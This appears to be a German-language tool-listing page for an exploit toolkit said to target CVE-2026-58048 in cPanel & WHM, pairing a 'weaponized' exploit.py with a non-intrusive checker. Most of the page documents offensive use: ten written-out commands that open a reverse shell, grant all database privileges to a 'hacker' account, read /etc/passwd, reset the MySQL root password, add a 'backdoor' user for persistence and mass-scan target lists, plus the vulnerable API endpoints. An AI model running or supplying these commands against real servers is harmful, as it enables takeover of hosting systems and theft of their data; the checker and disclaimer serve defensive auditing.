CVE-2026-58048-PoC-Exploit — 👾 CVE-2026-58048 – cPanel Root SQL Execution Toolkit (CVSS 9.4) | Komplette Red/Blue-Team-Toolkit-Suite für ungepatchte cPanel & WHM 11.x. 2 Tools: Safe Checker (Audit/Reporting), Weaponized (Reverse Shell, Persistenz, UDF RCE, Deployment, Datei lesen/schreiben, Datenbankoperationen, Massenscan). Mit Python. 🦾 Ethisch einsetzen, legal bleiben <3 | Kitploit

Tool	Zweck	Vorgesehener Benutzer
`exploit.py`	Vollständiges weaponisiertes Toolkit mit Reverse Shell, Persistenz, UDF RCE, Datei lesen/schreiben, Datenbankoperationen, Proxy-Unterstützung und Massenscanning.	Red Teams / autorisierte Pentester
`safecheck.py`	Nicht-intrusiver Schwachstellenprüfer, der die cPanel-Version erkennt und das Risiko bewertet, ohne eine schädliche Nutzlast auszuführen. Erstellt detaillierte Berichte.	Blue Teams / Sicherheitsauditoren

Funktion	`exploit.py`	`safecheck.py`
Schwachstellenerkennung	✅	✅
Versionserkennung	✅	✅
MySQL-Root-SQL-Injection	✅	❌
Reverse Shell	✅	❌
Persistenz (cPanel-Benutzererstellung)	✅	❌
UDF RCE (Befehlsausführung)	✅	❌
Datei lesen/schreiben	✅	❌
Datenbankoperationen (beliebiges SQL)	✅	❌
Proxy-Unterstützung	✅	✅
Massenscanning (Multi-Thread)	✅	❌
Interaktive Shell	✅	❌
Nicht-intrusiver (sicherer) Modus	❌	✅
Ausführlicher/Debug-Modus	✅	✅
SSL-Verifizierungssteuerung	✅	✅
Benutzerdefinierter User-Agent	✅	✅
Anfrageverzögerung / Wiederholungen	✅	❌
JSON- / Berichtsausgabe	✅	✅
Endpunkt-Erreichbarkeitsprüfung	❌	✅
SQL-Modus-Leckerkennung	❌	✅

Szenario	Empfohlenes Tool
Blue Team – Überprüfung, ob Ihre cPanel-Installation anfällig ist	`safecheck.py`
Sicherheitsaudit – nicht-intrusive Schwachstellenbewertung	`safecheck.py`
Red Team – autorisierte Penetrationstests mit vollständiger Ausnutzung	`exploit.py`
Bug Bounty – Tests zur verantwortungsvollen Offenlegung	`safecheck.py`
Massenscanning – Überprüfung mehrerer Ziele auf Schwachstellen	`exploit.py` (nur Erkennung)
Incident Response – Überprüfung, ob Systeme kompromittiert wurden	`safecheck.py`

Parameter	Beschreibung
`-t, --target`	Ziel-cPanel-URL (z. B. `https://cpanel.example.com:2083`)
`-l, --target-file`	Datei mit Zielliste (eine pro Zeile) für Massenscanning
`-u, --mysql-user`	cPanel/MySQL-Benutzername
`-P, --mysql-pass`	cPanel/MySQL-Passwort
`--mysql-port`	MySQL-Port (Standard: 3306)
`-p, --port`	cPanel-Port überschreiben (Standard aus URL oder 2083)
`--threads`	Anzahl der Threads für Multi-Target (Standard: 10)
`-o, --output`	Ergebnisse in Datei speichern (einzelnes Ziel)
`--log`	Protokolldatei für detaillierte Ausgabe
`-v, --verbose`	Ausführliche Ausgabe
`--proxy`	HTTP/HTTPS-Proxy (z. B. `http://127.0.0.1:8080`)
`-ua, --user-agent`	Benutzerdefinierter User-Agent
`--no-keep-alive`	Sitzung nicht am Leben erhalten
`--delay`	Verzögerung zwischen Anfragen (Standard: 2,0 s)
`--max-retries`	Maximale Wiederholungen (Standard: 3)
`--ssl-verify`	SSL-Zertifikate überprüfen
`--cmd`	Auszuführender Befehl (Präfix mit `sql:` oder `udf:` für spezifisch)
`--inject`	Benutzerdefiniertes SQL zum Einschleusen (überschreibt andere Aktionen)
`--reverse-shell`	Reverse-Shell-IP:PORT (verwendet UDF)
`--passwd`	MySQL-Root-Passwort ändern
`--adduser`	cPanel-Benutzer erstellen (USER DOMAIN PASSWORD)

Parameter	Beschreibung
`-t, --target`	Ziel-cPanel-URL (z. B. `https://cpanel.example.com:2083`)
`-v, --verbose`	Ausführliche Ausgabe
`--proxy`	HTTP/HTTPS-Proxy (z. B. `http://127.0.0.1:8080`)
`-ua, --user-agent`	Benutzerdefinierter User-Agent
`--ssl-verify`	SSL-Zertifikate überprüfen
`--timeout`	Anfrage-Timeout in Sekunden (Standard: 10)
`--log`	Bericht in Datei speichern
`--json`	Ergebnisse im JSON-Format ausgeben

#	Szenario	Befehl
1	Schnelle Schwachstellenprüfung	`python safecheck.py -t https://cpanel.example.com:2083`
2	Detaillierter Scan mit Bericht	`python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v`
3	Reverse Shell	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444`
4	Benutzerdefiniertes SQL ausführen (Root)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON . TO 'hacker'@'%' IDENTIFIED BY 'pwned'"`
5	Sensible Datei lesen	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd`
6	MySQL-Root-Passwort ändern	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123`
7	Neuen cPanel-Benutzer erstellen (Persistenz)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123`
8	Interaktive Shell nach der Ausnutzung	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i`
9	Massenscanning aus Datei	`python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json`
10	Proxy und benutzerdefinierten User-Agent verwenden	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)"`

Endpunkt	Zweck
`/execute/Mysql/create_database`	Temporäre Datenbank erstellen
`/execute/Mysql/delete_database`	Erstellte Datenbanken bereinigen
`/execute/Mysql/rename_database`	Anfälliger Endpunkt – löst SQL-Injection aus
`/execute/Version/get_version`	Authentifizierungs- und Versionsprüfung
`/execute/UserManager/create_user`	Neuen cPanel-Benutzer erstellen (Persistenz)
`/execute/UserManager/list_users`	Vorhandene Benutzer auflisten

Beliebteste

CVE-2026-58048-PoC-Exploit

Über

Funktionsweise

Betroffene Versionen

Patch

🧰 Tools

📊 Funktionsvergleich

🎯 Zusammenfassung der Anwendungsfälle

⚙️ Installation

requirements.txt

📋 Parameter

`exploit.py` Parameter

`safecheck.py` Parameter

💥 Szenarien

🧪 Endpunkt- und API-Nutzung

🛡️ Verantwortungsvolle Nutzung